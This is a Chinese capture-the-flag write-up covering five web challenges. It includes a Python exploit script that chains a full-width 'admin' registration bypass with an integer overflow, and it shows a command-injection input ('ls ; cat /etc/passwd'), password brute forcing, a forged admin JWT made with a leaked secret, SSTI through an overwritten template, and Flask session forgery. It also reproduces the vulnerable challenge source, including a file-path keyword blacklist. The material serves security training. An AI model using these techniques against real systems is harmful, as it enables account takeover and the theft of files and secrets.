神秘商店
打开题目只有一个登录框。
全角字符绕过注册
尝试登录 admin，利用全角字符注册登录。后端代码有转换逻辑，全角能够绕过后端对 admin 的检测，把全角 admin 识别成正常的 admin，造成覆盖注册，从而修改 admin 密码。
注册 admin（其中 n 为全角）：
Rust 整数溢出
利用整数溢出将余额从 4294967246 变为 50，购买 flag。可以直接脚本登录。
import requests
def exploit():
url = "http://challenge2.pctf.top:32735"
session = requests.Session()
print("[+] 注册管理员账户...")
users = {"username": "admi\u00ef", "password": "123456"}
response = session.post(f"{url}/register", data=users)
print(f"[+] 注册响应：{response.status_code}")
print("[+] 登录...")
users = {"username": "admi\u00ef", "password": "123456"}
response = session.post(f"{url}/login", data=users)
print(f"[+] 登录响应：{response.status_code}")
response = session.get(f"{url}/user")
print(f"[+] 用户信息:{response.text}")
print("[+] 触发 rust 整数溢出...")
amount = {"amount": 4294967246}
response = session.post(f"{url}/add_balance", data=amount)
print(f"[+] 增加余额：{response.text}")
print("[+] 购买 Flag...")
product = {"product_id": 4}
response = session.post(f"{url}/buy_product", json=product)
print(f"[+] 购买结果：{response.text}")
if __name__ == '__main__':
exploit()
We_will_rockyou
下载源码进行分析。
from flask import Flask, redirect, url_for, render_template, request
import jwt
import uuid
import os
import subprocess
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4())
accounts = {}
def create_token(user_id, username):
payload = {'user_id': user_id, 'username': username}
token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
if isinstance(token, bytes):
token = token.decode('utf-8')
return token
def verify_token(token):
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
user_id = payload['user_id']
username = payload['username']
return user_id, username
except:
return None
def login_required(f):
from functools import wraps
@wraps(f)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return redirect(url_for('login'))
res = verify_token(token)
if not res:
return redirect(url_for('login'))
user_id, username = res
return f(user_id, username, *args, **kwargs)
return decorated
def check_login(u, p):
for user_id, info in accounts.items():
if info['username'] == u:
return check_password_hash(info['password'], p), user_id
return False, None
@app.route('/')
def index():
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
error_msg = None
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
ok, user_id = check_login(username, password)
if ok:
token = create_token(user_id, username)
response = redirect(url_for('dashboard'))
response.set_cookie('token', token, httponly=True)
return response
else:
error_msg = "Username or Password incorrect!"
return render_template('login.html', error_msg=error_msg)
@app.route('/logout')
def logout():
response = redirect(url_for('login'))
response.delete_cookie('token')
return response
@app.route('/dashboard')
@login_required
def dashboard(user_id, username):
return render_template('dashboard.html', user_id=user_id, username=username)
SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more']
@app.route('/dashboard/run', methods=['POST'])
@login_required
def run_command(user_id, username):
user_id, username = verify_token(request.cookies.get('token'))
cmd = request.form.get('command', '').strip()
if not cmd or cmd.split()[0] not in SAFE_COMMANDS:
return render_template('dashboard.html', user_id=user_id, username=username, error_msg="Error: Command not allowed or empty")
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
output = result.stdout + result.stderr
return render_template('dashboard.html', user_id=user_id, username=username, output=output, command=cmd)
except Exception as e:
return render_template('dashboard.html', username=username, error_msg=f"Error: {str(e)}")
if __name__ == '__main__':
admin_id = 0
admin_username = 'admin123'
admin_password = str(uuid.uuid4())
# 密码覆盖机制：尝试从系统文件读取密码
for path in ['/password', './password.txt']:
try:
if os.path.exists(path) and os.path.isfile(path):
with open(path, 'rb') as f:
raw = f.read()
if not raw:
continue
text = raw.decode('utf-8', errors='replace').strip()
candidates = [line.strip() for line in text.splitlines() if line.strip()]
if candidates:
import secrets
admin_password = secrets.choice(candidates)
break
except:
pass
print(f' * Admin password: {admin_password}')
accounts[admin_id] = {
'username': admin_username,
'password': generate_password_hash(admin_password)
}
app.run(debug=False, host='0.0.0.0')
漏洞分析
- 基础配置：每次重启服务器时，SECRET_KEY 都会随机生成，旧 Token 失效。用户信息存储在字典中，重启清空。
- 认证逻辑 (JWT)：使用 HS256 算法加密生成 JWT。由于使用了随机 UUID 作为 KEY，安全性在运行时还可以，但无法持久化。
- 命令执行逻辑：
SAFE_COMMANDS白名单只判断命令行第一个单词。存在shell=True风险，可利用 shell 拼接符绕过，例如输入ls ; cat /etc/passwd。 - 启动逻辑与管理员密码初始化：默认随机生成 UUID 密码，但后续会从
/password或./password.txt文件中随机抽取并覆盖 admin 密码。如果能控制这两个文件之一，就能预设管理员密码。
admin 用户名一直为 admin123。题目提示 Try rockyou.txt!，则使用 rockyou 字典爆破密码。
barbie
ls /
查看的方法有很多，过滤的 waf 也不行。
信息收集，密码爆破，命令执行。
Jwt_password_manager
from flask import Flask, request, redirect, url_for, render_template
import jwt
import uuid
import os
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
# 关键安全点：JWT 签名使用的密钥。如果泄露，任何人都可以伪造 token
app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'
accounts_usernames = []
accounts = {}
user_passwords = {}
def check_username(new_username):
if new_username in accounts_usernames:
return True
return False
def check_login(username, password):
if username not in accounts:
return False
return check_password_hash(accounts[username], password)
def insert_account(new_username, new_password_hash):
try:
accounts_usernames.append(new_username)
accounts[new_username] = new_password_hash
user_passwords[new_username] = []
return True
except:
return False
def create_token(username):
payload = {'username': username,}
token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
if isinstance(token, bytes):
token = token.decode('utf-8')
return token
def verify_token(token):
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
return payload['username']
except:
return None
def login_required(f):
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token or not verify_token(token):
return redirect(url_for('login'))
return f(*args, **kwargs)
decorated.__name__ = f.__name__
return decorated
def add_password_item(username, website, site_username, password, notes=''):
try:
password_item = {
'id': str(uuid.uuid4()),
'website': website,
'username': site_username,
'password': password,
'notes': notes,
}
user_passwords[username].append(password_item)
return True
except:
return False
def delete_password_item(username, item_id):
try:
user_passwords[username] = [item for item in user_passwords[username] if item['id'] != item_id]
return True
except:
return False
def get_user_passwords(username):
return user_passwords.get(username, [])
@app.route('/')
def index():
return redirect(url_for('login'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user_exists = check_username(username)
if user_exists:
return render_template('register.html', error_msg="User Already Existed!")
password_hash = generate_password_hash(password)
insert_account(username, password_hash)
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user_exists = check_username(username)
if user_exists == False:
return render_template('login.html', error_msg='Username or Password Wrong!')
if check_login(username, password):
token = create_token(username)
response = redirect(url_for('dashboard'))
response.set_cookie('token', token, httponly=True)
return response
else:
return render_template('login.html', error_msg='Username or Password Wrong!')
return render_template('login.html')
@app.route('/logout')
def logout():
response = redirect(url_for('login'))
response.delete_cookie('token')
return response
@app.route('/dashboard')
@login_required
def dashboard():
username = verify_token(request.cookies.get('token'))
passwords = get_user_passwords(username)
return render_template('dashboard.html', username=username, passwords=passwords)
@app.route('/add_password', methods=['POST'])
@login_required
def add_password():
username = verify_token(request.cookies.get('token'))
website = request.form['website']
site_username = request.form['site_username']
password = request.form['password']
notes = request.form.get('notes', '')
if add_password_item(username, website, site_username, password, notes):
return redirect(url_for('dashboard'))
else:
return render_template('dashboard.html', username=username, passwords=get_user_passwords(username), error_msg="Add password error")
@app.route('/delete_password/<item_id>')
@login_required
def delete_password(item_id):
username = verify_token(request.cookies.get('token'))
if delete_password_item(username, item_id):
return redirect(url_for('dashboard'))
else:
return render_template('dashboard.html', username=username, passwords=get_user_passwords(username), error_msg="Delete password error")
if __name__ == '__main__':
# 1. 自动创建一个 admin 账号，密码是随机生成的 UUID
admin_password = str(uuid.uuid4())
insert_account('admin', generate_password_hash(admin_password))
# 2. 模拟 CTF 环境：读取服务器本地的 flag.txt 文件
for path in ['/flag', './flag.txt']:
try:
if os.path.exists(path) and os.path.isfile(path):
with open(path, 'rb') as f:
raw = f.read()
if raw:
content = raw.decode('utf-8', errors='replace').strip()
# 3. 将读取到的 flag 作为一条密码存入 admin 账号中
add_password_item('admin', website='seeded-flag', site_username='flag-file', password=content, notes=f'seeded from {path}')
break
except:
pass
app.run(debug=False, host='0.0.0.0')
下载附件审计代码，发现泄露的 JWT 密钥：
app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'
查看逻辑发现，它读取了 flag，flag 是 admin 的 password。
解题步骤：先注册一个账号拿到普通的 token，然后去 jwt.io 解密 JWT 然后修改成 admin 然后伪造后得到 flag。
伪造后 admin 的 token 为：
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImIzMGEwYzNhLTI5Y2YtNGQ0ZS04ZDJiLTcxZGIxOWJlYjc2MiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.PMpPt65DM7rU-z3gljV1f8z5h_DIXSmoDQnMu2vKgQo
保存密码获取 flag。
JWT 伪造攻击。
ez_upload
这里打开文件，上传任何文件都查看不了，尝试直接读取/etc/passwd 但是被过滤了，查看源码。
import os
import uuid
from flask import Flask, request, render_template_string, redirect, url_for, send_from_directory, flash, jsonify
from werkzeug.exceptions import RequestEntityTooLarge
app = Flask(__name__)
app.secret_key = 'your_secret_key_here'
UPLOAD_FOLDER = 'uploads'
MAX_FILE_SIZE = 16 * 1024 * 1024
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc', 'docx', 'zip', 'html'}
BLACKLIST_KEYWORDS = [
'env', '.env', 'environment', 'profile', 'bashrc', 'proc', 'sys', 'etc', 'passwd', 'shadow', 'flag'
]
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_FILE_SIZE
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
try:
with open('templates/index.html', 'r', encoding='utf-8') as f:
template_content = f.read()
return render_template_string(template_content)
except FileNotFoundError:
try:
with open('templates/error_template_not_found.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>错误</h1><p>模板文件未找到</p><a href="/upload">上传文件</a>'
except Exception as e:
try:
with open('templates/error_render.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, error_message=str(e))
except:
return '<h1>渲染错误</h1><p>' + str(e) + '</p><a href="/upload">上传文件</a>'
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('没有选择文件')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
flash('没有选择文件')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = file.filename
filename = filename.replace('../', '')
file_path = os.path.join(UPLOAD_FOLDER, filename)
try:
file.save(file_path)
flash('文件 {} 上传成功！'.format(filename))
return redirect('/upload')
except Exception as e:
flash('文件上传失败：{}'.format(str(e)))
return redirect(request.url)
else:
flash('不允许的文件类型')
return redirect(request.url)
try:
with open('templates/upload.html', 'r', encoding='utf-8') as f:
template_content = f.read()
return render_template_string(template_content)
except FileNotFoundError:
try:
with open('templates/error_upload_not_found.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>错误</h1><p>上传页面模板未找到</p><a href="/">返回主页</a>'
@app.route('/file')
def view_file():
file_path = request.args.get('file', '')
if not file_path:
try:
with open('templates/file_no_param.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>文件查看</h1><p>请使用 ?file= 参数指定要查看的文件</p><a href="/">返回主页</a>'
file_path_lower = file_path.lower()
for keyword in BLACKLIST_KEYWORDS:
if keyword in file_path_lower:
try:
with open('templates/file_error.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, file_path=file_path, error_message='访问被拒绝：文件路径包含敏感关键词 [{}]'.format(keyword))
except:
return '<h1>访问被拒绝</h1><p>文件路径包含敏感关键词</p><a href="/">返回主页</a>'
try:
with open(file_path, 'r', encoding='utf-8') as f:
file_content = f.read()
try:
with open('templates/file_view.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, file_path=file_path, file_content=file_content)
except:
return '<h1>文件内容</h1><pre>{}</pre><a href="/">返回主页</a>'.format(file_content)
except Exception as e:
try:
with open('templates/file_error.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, file_path=file_path, error_message=str(e))
except:
return '<h1>文件读取失败</h1><p>错误：{}<br/><a href="/">返回主页</a>'.format(str(e))
@app.errorhandler(RequestEntityTooLarge)
def too_large(e):
try:
with open('templates/error_too_large.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, max_size=MAX_FILE_SIZE // (1024*1024)), 413
except:
return '<h1>文件过大</h1><p>文件大小不能超过 {} MB</p>'.format(MAX_FILE_SIZE // (1024*1024)), 413
@app.errorhandler(404)
def not_found(e):
try:
with open('templates/error_404.html', 'r', encoding='utf-8') as f:
return f.read(), 404
except:
return '<h1>404</h1><p>页面不存在</p>', 404
@app.errorhandler(500)
def server_error(e):
try:
with open('templates/error_500.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, error_message=str(e)), 500
except:
return '<h1>500</h1><p>服务器内部错误：{}<br/><a href="/">返回主页</a>'.format(str(e)), 500
if __name__ == '__main__':
print("启动 Flask 文件上传应用...")
print("上传目录：{}".format(UPLOAD_FOLDER))
print("最大文件大小：{} MB".format(MAX_FILE_SIZE // (1024*1024)))
print("允许的文件类型：{}".format(ALLOWED_EXTENSIONS))
app.run(debug=False, host='0.0.0.0', port=5000)
漏洞分析
view_file 函数通过 URL 参数获取路径，虽然有黑名单防御，但存在 SSTI 漏洞。
@app.route('/file')
def view_file():
# ... 省略部分逻辑 ...
try:
with open(file_path, 'r', encoding='utf-8') as f:
file_content = f.read()
# 高危点：render_template_string 渲染了 html 页面内容
# 如果用户上传一个包含 {{ 7*7 }} 的文件并在此查看，Flask 会执行其中的模板代码
return render_template_string(template, file_path=file_path, file_content=file_content)
except Exception as e:
# ... 错误处理 ...
可以通过覆盖 index.html 实现 SSTI 绕过上传限制，成功读取文件。
SSTI 注入与信息收集。
Do_you_know_session?
看到题目到处试了试 SSTI，发现在搜索框中可以进行 SSTI。
/search?context=
但是有 WAF，只能看到 config，刚好 secretkey 就存在这里，我们直接就可以获取到。
1919810#mistyovo@foxdog@lzz0403#114514
然后我们看到我们有 session，用 flask-session-cookie-manager。
读取 environ 得到 flag。
Session 伪造。
